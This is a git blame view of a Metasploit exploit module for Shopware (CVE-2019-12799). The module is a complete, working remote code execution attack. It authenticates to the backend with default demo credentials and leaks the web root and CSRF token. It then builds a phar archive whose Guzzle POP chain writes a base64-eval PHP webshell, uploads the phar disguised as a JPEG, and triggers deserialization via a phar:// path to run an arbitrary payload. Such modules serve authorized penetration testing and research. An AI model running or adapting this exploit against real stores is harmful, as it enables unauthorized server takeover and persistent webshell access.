Files
metasploit-gs/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

295 lines
10 KiB
Ruby
Raw Normal View History

2019-05-09 15:08:33 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
2019-05-09 15:35:00 -05:00
Rank = ExcellentRanking
2019-05-09 15:08:33 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
'Description' => %q{
This module exploits a php object instantiation vulnerability that can lead to RCE in
Shopware. An authenticated backend user could exploit the vulnerability.
2019-05-09 15:08:33 -05:00
2025-06-20 13:20:44 +01:00
The vulnerability exists in the createInstanceFromNamedArguments function, where the code
insufficiently performs whitelist check which can be bypassed to trigger an object injection.
2019-05-09 15:08:33 -05:00
2025-06-20 13:20:44 +01:00
An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
the target system, resulting in remote code execution.
2019-05-09 15:08:33 -05:00
2025-06-20 13:20:44 +01:00
Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
},
'License' => MSF_LICENSE,
'Author' => [
'Karim Ouerghemmi', # original discovery
'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module
2019-05-09 15:08:33 -05:00
],
2025-06-20 13:20:44 +01:00
'References' => [
['CVE', '2019-12799'], # yes really, assigned per request
2019-05-09 15:08:33 -05:00
['CVE', '2017-18357'], # not really because we bypassed this patch
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation
],
2025-06-20 13:20:44 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2019-05-09',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2019-05-09 15:08:33 -05:00
register_options(
[
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),
OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])
]
)
end
2019-05-12 20:08:52 -05:00
def do_login
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
}
)
unless res
2019-05-09 15:17:43 -05:00
fail_with(Failure::Unreachable, "Connection failed")
2019-05-09 15:08:33 -05:00
end
if res.code == 200
cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
if res.nil?
return
end
2025-06-20 13:20:44 +01:00
return cookie
end
2019-05-12 20:08:52 -05:00
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def get_webroot(cookie)
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie
2019-05-09 15:08:33 -05:00
)
unless res
2019-05-09 15:17:43 -05:00
fail_with(Failure::Unreachable, "Connection failed")
2019-05-09 15:08:33 -05:00
end
2019-05-09 21:18:14 -05:00
if res.code == 200
2019-05-09 22:21:26 -05:00
return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
end
2025-06-20 13:20:44 +01:00
2019-05-12 20:08:52 -05:00
return
end
def leak_csrf(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
if res.headers.include?('X-Csrf-Token')
return res.headers['X-Csrf-Token']
end
end
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def generate_phar(webroot)
2019-05-17 18:20:59 -05:00
php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
2019-05-09 15:08:33 -05:00
register_file_for_cleanup("#{@shll_bd}.php")
2025-06-20 13:20:44 +01:00
pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
2019-05-09 22:21:26 -05:00
pop << "s:#{php.length}:\"#{php}\";"
2019-05-09 15:08:33 -05:00
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"
pop << "a:3:{s:5:\"Value\";"
pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
pop << "s:7:\"Expires\";"
pop << "b:1;"
pop << "s:7:\"Discard\";"
pop << "b:0;}}}}"
2025-06-20 13:20:44 +01:00
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>\r\n"
2019-05-09 15:17:43 -05:00
file_contents = Rex::Text.rand_text_alpha_lower(20)
2025-06-20 13:20:44 +01:00
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest in bytes
phar << [0x1].pack('V') # number of files in the phar
phar << [0x11].pack('v') # api version of the phar manifest
phar << [0x10000].pack('V') # global phar bitmapped flags
phar << [0x0].pack('V') # length of phar alias
phar << [pop.length].pack('V') # length of phar metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
phar << [0x0].pack('V') # serialized File Meta-data length
phar << file_contents # serialized File Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << "GBMB" # signature presence
return phar
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def upload(cookie, csrf_token, phar)
2019-05-09 15:08:33 -05:00
data = Rex::MIME::Message.new
data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
2019-05-09 15:08:33 -05:00
'headers' => {
2019-05-09 22:21:26 -05:00
'X-CSRF-Token' => csrf_token
2019-05-09 15:08:33 -05:00
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /Image is not in a recognized format/i
2019-05-12 20:08:52 -05:00
return true
2019-05-09 15:08:33 -05:00
end
2025-06-20 13:20:44 +01:00
2019-05-12 20:08:52 -05:00
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def leak_upload(cookie, csrf_token)
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
2019-05-09 15:08:33 -05:00
'headers' => {
2019-05-09 22:21:26 -05:00
'X-CSRF-Token' => csrf_token
2019-05-09 15:08:33 -05:00
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
2019-05-09 22:21:26 -05:00
return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
end
2019-05-12 20:08:52 -05:00
return
2019-05-09 15:08:33 -05:00
end
2019-05-09 22:21:26 -05:00
def trigger_bug(cookie, csrf_token, upload_path)
2019-05-09 15:08:33 -05:00
sort = {
"Shopware_Components_CsvIterator" => {
2019-05-09 22:21:26 -05:00
"filename" => "phar://#{upload_path}",
2019-05-09 15:08:33 -05:00
"delimiter" => "",
"header" => ""
}
}
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
2019-05-09 15:08:33 -05:00
'headers' => {
2019-05-09 22:21:26 -05:00
'X-CSRF-Token' => csrf_token
2019-05-09 15:08:33 -05:00
},
'vars_get' => { 'sort' => sort.to_json }
)
unless res
2019-05-09 15:17:43 -05:00
fail_with(Failure::Unreachable, "Connection failed")
2019-05-09 15:08:33 -05:00
end
return
end
def exec_code
send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),
2019-05-09 15:08:33 -05:00
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
2019-05-09 20:58:14 -05:00
}, 1)
2019-05-09 15:08:33 -05:00
end
def check
2019-05-12 20:08:52 -05:00
cookie = do_login
if cookie.nil?
2019-05-13 17:36:06 -05:00
vprint_error "Authentication was unsuccessful"
return Exploit::CheckCode::Safe
end
2019-05-12 20:08:52 -05:00
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
2019-05-13 17:36:06 -05:00
vprint_error "Unable to leak the CSRF token"
return Exploit::CheckCode::Safe
end
2019-05-09 15:08:33 -05:00
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
2019-05-09 22:21:26 -05:00
'cookie' => cookie,
'headers' => { 'X-CSRF-Token' => csrf_token }
2019-05-09 15:08:33 -05:00
)
if res.code == 200 && res.body =~ /Shop not found/i
return Exploit::CheckCode::Vulnerable
end
2025-06-20 13:20:44 +01:00
2019-05-09 15:08:33 -05:00
return Exploit::CheckCode::Safe
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
2025-06-20 13:20:44 +01:00
@phar_bd = Rex::Text.rand_text_alpha_lower(8)
@shll_bd = Rex::Text.rand_text_alpha_lower(8)
@header = Rex::Text.rand_text_alpha_upper(2)
2019-05-12 20:08:52 -05:00
cookie = do_login
if cookie.nil?
fail_with(Failure::NoAccess, "Authentication was unsuccessful")
end
2019-05-09 22:21:26 -05:00
print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
web_root = get_webroot(cookie)
2019-05-12 20:08:52 -05:00
if web_root.nil?
fail_with(Failure::Unknown, "Unable to leak the webroot")
end
print_good("Stage 2 - leaked the web root: #{web_root}")
2019-05-12 20:08:52 -05:00
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
fail_with(Failure::Unknown, "Unable to leak the CSRF token")
end
2019-05-09 22:21:26 -05:00
print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
phar = generate_phar(web_root)
print_good("Stage 4 - generated our phar")
2019-05-12 20:08:52 -05:00
if !upload(cookie, csrf_token, phar)
fail_with(Failure::Unknown, "Unable to upload phar archive")
end
2019-05-09 15:08:33 -05:00
print_good("Stage 5 - uploaded phar")
2019-05-09 22:21:26 -05:00
upload_path = leak_upload(cookie, csrf_token)
2019-05-12 20:08:52 -05:00
if upload_path.nil?
fail_with(Failure::Unknown, "Cannot find phar archive")
end
2019-05-09 22:21:26 -05:00
print_good("Stage 6 - leaked phar location: #{upload_path}")
trigger_bug(cookie, csrf_token, upload_path)
2019-05-09 15:08:33 -05:00
print_good("Stage 7 - triggered object instantiation!")
exec_code
end
end